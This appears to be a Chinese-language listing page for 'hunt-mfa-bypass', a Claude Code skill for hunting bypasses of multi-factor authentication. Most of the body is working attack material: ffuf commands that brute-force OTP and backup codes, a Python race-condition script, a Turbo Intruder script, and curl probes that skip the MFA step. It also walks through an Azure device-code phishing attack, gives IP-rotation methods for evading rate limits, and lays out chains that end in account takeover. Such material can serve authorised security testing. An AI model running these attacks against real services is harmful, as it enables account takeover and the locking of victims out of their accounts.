关于 hunt-mfa-bypass
用于发现认证流程中 MFA 和 2FA 绕过缺陷的安全测试技能,涵盖 OTP、备用码、设备信任、竞态条件和 SSO,并提供验证方法以区分确认的问题与弱信号。
主要功能
- 01十一种 MFA 绕过模式
- 02OTP 与备用码测试
- 03认证流程及 SSO 检查
- 04竞态条件测试指导
- 05验证清单与注意事项
适用场景
- 01检查 OTP 尝试是否受速率限制
- 02测试已使用 OTP 或备用码能否重用
- 03验证登录和 SSO 流程是否强制执行 MFA
- 04评估并发 MFA 验证行为
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-mfa-bypass安装后在 Claude Code 中输入/hunt-mfa-bypass确认已加载。
详细介绍
19. MFA / 2FA 绕过
日益增多的漏洞类别——有 7 种不同模式。如果能在没有先前会话的情况下实现 ATO,则严重程度为高危/严重。
模式 1:OTP 未设置速率限制
# Test with ffuf — all 1M 6-digit codes
ffuf -u "https://target.com/api/verify-otp" \
-X POST -H "Content-Type: application/json" \
-H "Cookie: session=YOUR_SESSION" \
-d '{"otp":"FUZZ"}' \
-w <(seq -w 000000 999999) \
-fc 400,429 -t 5
# -t 5 (slow down) — aggressive rates get 429 or ban
模式 2:OTP 使用后未失效
1. Login → receive OTP "123456" → enter it → success
2. Logout → login again with same credentials
3. Try OTP "123456" again
4. If accepted → OTP never invalidated = ATO (attacker sniffs OTP once, reuses forever)
模式 3:篡改响应
1. Enter wrong OTP → capture response in Burp
2. Change {"success":false} → {"success":true} (or 401 → 200)
3. Forward → if app proceeds → client-side only MFA check
模式 4:跳过 MFA 步骤(工作流绕过)
# After entering password, app sets a "pre-mfa" cookie → redirects to /mfa
# Test: skip /mfa entirely, access /dashboard directly with pre-mfa cookie
# If app grants access without MFA = auth flow bypass = Critical
curl --max-time 30 --connect-timeout 10 -s -b "session=PRE_MFA_SESSION" https://target.com/dashboard
模式 5:MFA 验证竞态
import asyncio, aiohttp
async def verify(session, otp):
async with session.post("https://target.com/api/mfa/verify",
json={"otp": otp}) as r:
return r.status, await r.text()
async def race():
cookies = {"session": "YOUR_SESSION"}
async with aiohttp.ClientSession(cookies=cookies) as s:
# Fire ~30 concurrent submissions of the SAME OTP to hit the TOCTOU
# window before the server marks it used. Two requests are NOT enough —
# they almost always resolve sequentially as "already-used" (false negative).
# Best done as a single-packet / 20+ HTTP-2-stream attack (Turbo Intruder).
results = await asyncio.gather(*[verify(s, "123456") for _ in range(30)])
# Race confirmed if >1 success (or 1 success among many "already-used").
for status, body in results:
print(status, body)
asyncio.run(race())
模式 6:暴力破解备用码
Backup codes: typically 8 alphanumeric = 36^8 = ~2.8T (too large)
BUT: check if backup codes are only 6-8 digits = 1-10M range = feasible with no rate limit
Also test: can backup codes be reused after exhaustion? Some apps regenerate predictably.
模式 7:“记住此设备”信任升级
1. Complete MFA once on Device A (attacker's browser)
2. Capture the "remember device" cookie
3. Present that cookie from a new IP/browser
4. If MFA skipped = device trust not bound to IP/UA = ATO from any location
MFA 链式升级
Rate limit bypass + no lockout = ATO (Critical)
Response manipulation = client-side only check = Critical
Skip MFA step = auth flow bypass = Critical
OTP reuse = persistent session hijack = High
模式 8:OAuth 设备码流程 MFA 绕过
Device authorization grant (RFC 8628) - skips interactive user-agent,
meaning MFA challenge is NEVER presented. The device code flow has no
session where the IdP can enforce an MFA step-up.
Detection:
curl --max-time 30 --connect-timeout 10 -s "https://target.com/.well-known/oauth-authorization-server" | jq ".device_authorization_endpoint"
# If present -> device code flow enabled; test if MFA is bypassed
Azure exploitation example:
1. POST to https://login.microsoftonline.com/<tenant>/oauth2/v2.0/devicecode
Body: client_id=<app_id>&scope=user.read%20openid
-> Returns device_code, user_code, verification_uri
2. Attacker sends user_code to victim via phishing -> victim enters code
3. Meanwhile attacker polls: POST https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token
Body: grant_type=urn:ietf:params:oauth:grant-type:device_code&device_code=<device_code>&client_id=<app_id>
4. On victim approval -> attacker receives access_token + refresh_token
5. If app does NOT enforce MFA on device code grant -> token without MFA check
模式 9:暴力破解备用码(基于 ffuf)
Recovery/backup codes often have lower entropy than advertised - some IdPs
use sequential or timestamp-seeded codes. Test with ffuf:
ffuf -u "https://target.com/api/mfa/verify-backup" \
-X POST -H "Content-Type: application/json" \
-H "Cookie: session=YOUR_SESSION" \
-d '{"backup_code":"FUZZ"}' \
-w <(seq -w 00000000 99999999) \
-fc 400,401,429 -t 10 -p 0.1-0.5
Key checks:
- Purely numeric? 8-digit = 100M (feasible in hours at 5K req/s)
- Format-locked? (e.g., "XXXX-XXXX" - hyphen reduces search space)
- Per-IP rate limiting? Rotate IPs if per-IP, not per-code
- Invalidated after use? If not -> reuse same code for all accounts
模式 10:通过 SSO 绕过 MFA
SSO integrated with MFA at IdP level, but SP-initiated SSO (Service Provider
initiates SAML/OIDC flow) may skip MFA if IdP does not re-auth:
1. User authenticates to IdP with password only (no MFA)
2. IdP issues SAML assertion or ID token WITHOUT MFA claim (amr != mfa)
3. SP trusts assertion without checking acr/amr values -> grants access
Detection:
- Check SAML AuthnContextClassRef for expected MFA class
- OIDC: decode ID token JWT, check the "amr" claim
- If SP accepts tokens without "mfa" in amr -> bypass confirmed
Test: initiate SP login -> intercept SAML/OIDC request -> strip MFA params ->
forward to IdP. If assertion issued without MFA challenge -> SP grants access
模式 11:生物识别 MFA 绕过
Server-side biometric verification (fingerprint scan, face match) where raw
biometric data or match-result token is sent to server can be replayed.
1. Intercept biometric submission in Burp (Base64 image or match token)
2. Capture the "biometric_verified: true" response or signed assertion
3. Replay same payload in new session (different browser/device)
4. If accepted without freshness (nonce, timestamp, device binding) -> bypass
Common weak implementations:
- Static biometric challenge (not per-session nonce)
- JWT result lacking "iat"/"jti" claims -> replayable
- Server trusts client-reported "passed" boolean
Detection: capture token, wait 5 min, replay in Burp Repeater. If accepted ->
no freshness check. POST /api/biometric/verify {"token":"eyJ..."}
更新后的检测方法
Trace full auth flow in Burp Proxy HTTP history with explicit state transitions:
1. Credential submission -> POST /api/login -> set-cookie, redirect
2. MFA challenge request -> GET /mfa/challenge -> challenge data
3. MFA verification -> POST /api/mfa/verify -> auth token/cookie
4. Post-MFA resource access -> GET /dashboard -> 200 OK (authed)
5. Sensitive action (no MFA) -> POST /api/change-password -> 200 (no step-up)
Check each transition:
- Can (1->4) be forced by skipping (2->3)? (Pattern 4 - workflow bypass)
- Does (3) accept the same payload twice? (Pattern 2 - OTP reuse)
- Is (3) idempotent under concurrent load? (Pattern 5 - race condition)
- Does (5) bypass MFA step-up? (Pattern 1 variant - sensitive endpoint)
JWT audit after each step:
for token in $(cat captured_tokens.txt); do
echo "$token" | cut -d. -f2 | base64 -d 2>/dev/null | jq ".amr, .acr, .mfa, .auth_time"
done
# Look for: missing "mfa" claim, stale "auth_time", missing "amr":["mfa"]
Turbo Intruder PoC——MFA 竞态条件
"""Turbo Intruder script for MFA race-conditions (Pattern 5 - advanced).
Single-packet attack via HTTP/2 connection reuse - fires 30+ OTP submissions
in one TCP segment before the server processes any, maximizing TOCTOU."""
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
# Fire 30 parallel OTP submissions on the SAME session
for i in range(30):
engine.queue(target.req, {"otp":"123456"}, learn=0)
def handleResponse(req, interesting):
table.add(req)
if chr(34)+"success"+chr(34)+":true" in req.response:
print(f"[RACE WIN] Request {req.id} succeeded - MFA race confirmed")
print(req.response[:500])
竞态条件验证清单
1. Run >=30 parallel requests (2-5 is insufficient - sequential resolution)
2. Use HTTP/2 single-packet attack (Turbo Intruder BURP2 or Python h2 library)
3. Confirm >1 requests return {"success": true} (or 1 success + N "already_used")
4. Verify the OTP is consumed afterward (replay should fail)
5. Document: server-side atomicity gap confirmed - all OTP codes are vulnerable
验证
运行此自测,确认已准备好进行 mfa-bypass 漏洞搜寻:
-
技能完整性——确认技能文件可读且格式正确:
grep -q "name: hunt-mfa-bypass" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
类别检查——确认技能有类别:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
陷阱部分——确认已记录陷阱:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
全部 3 项测试均通过,即可确认技能结构正确且可供使用。
陷阱
- 通过直接访问 URL 绕过 MFA——首次登录后(但完成 MFA 前)访问
/dashboard是最常见的绕过方式。测试所有登录后的路径。 - 篡改响应——将响应中的
{"mfa_required":true}改为false,只有在服务器信任客户端状态时才构成绕过。 - 重复使用 MFA 代码——如果代码在有效期内可以重复使用,请记录有效期时长以及可能的重复使用次数。
- 暴力破解备用码——备用码通常至少有 8 个字符。是否可行取决于速率限制。声称漏洞可利用前,先测试速率限制。
- 无需重新验证即可注册 MFA——未验证当前密码/OTP 就添加新的 MFA 设备,这才是漏洞发现,而不是 MFA 本身。
相关技能与攻击链
hunt-ato— 绕过 MFA 是一种基础手段;ATO 才是最终目的。攻击链基础:窃取 Cookie(通过 XSS 或会话固定)+ 密码验证预言机(登录响应的时间/长度差异会泄露有效密码,且不会触发锁定)+ 修改密码接口不要求再次进行 MFA 验证 = 无需面对 OTP 挑战即可持续控制账户 → 更改密码,攻击者将受害者锁定在账户之外。hunt-race-condition— 模式 5(OTP 竞态)属于竞态条件范畴;同时加载这两项技能。攻击链基础:在服务器将 6 位 OTP 标记为已使用前,通过 20 个并行 HTTP/2 流提交同一个 OTP(使用 Turbo Intruder 发起单包攻击)→ 1 次成功 + 19 次“已使用” → 确认存在竞态窗口 → 攻击者无需暴力破解,只需猜测一次并行提交 → ATO。hunt-auth-bypass— 跳过 MFA 步骤属于工作流层面的认证流程绕过。攻击链基础:密码步骤完成后签发预 MFA Cookie + 直接访问/dashboard,跳过/mfa路由 + 服务器仅对/mfa设置中间件门控,而未对/dashboard设置 = 仅凭密码状态即可获得完整的认证后访问权限 → 路由门控位置错误,导致 MFA 从未得到强制执行。hunt-misc— 通过/api/me泄露恢复码属于杂项类别的信息泄露,串联攻击链后会升级为严重级别。攻击链基础:/api/me返回完整的用户对象,其中包含backup_codes数组(明文存储,且从不轮换)→ 攻击者通过任意读取型 IDOR 或 XSS 窃取备份码 → 使用一个备份码 → 通过 MFA 验证 → 无需知道 OTP 即可实现 ATO。security-arsenal— 提取 OTP 暴力破解载荷章节(000000-999999 字典生成器、使用-t 5 -p 0.5-2的 ffuf 速率限制规避模式、通过 proxychains 轮换分布式 IP),以及 JWT 令牌重放表格,适用于“已通过 MFA”这一声明位于可伪造的 JWT 声明中的情况。triage-validation— 在将仅适用于攻击者已拥有密码时才能生效的 MFA 绕过报告为严重级别之前,先执行严重性预审。独立的 MFA 绕过为高危;与密码验证预言机串联为严重;仅与 Cookie 窃取串联也为严重。判断攻击链的问题可以区分这两种情况。
评论
支持 Markdown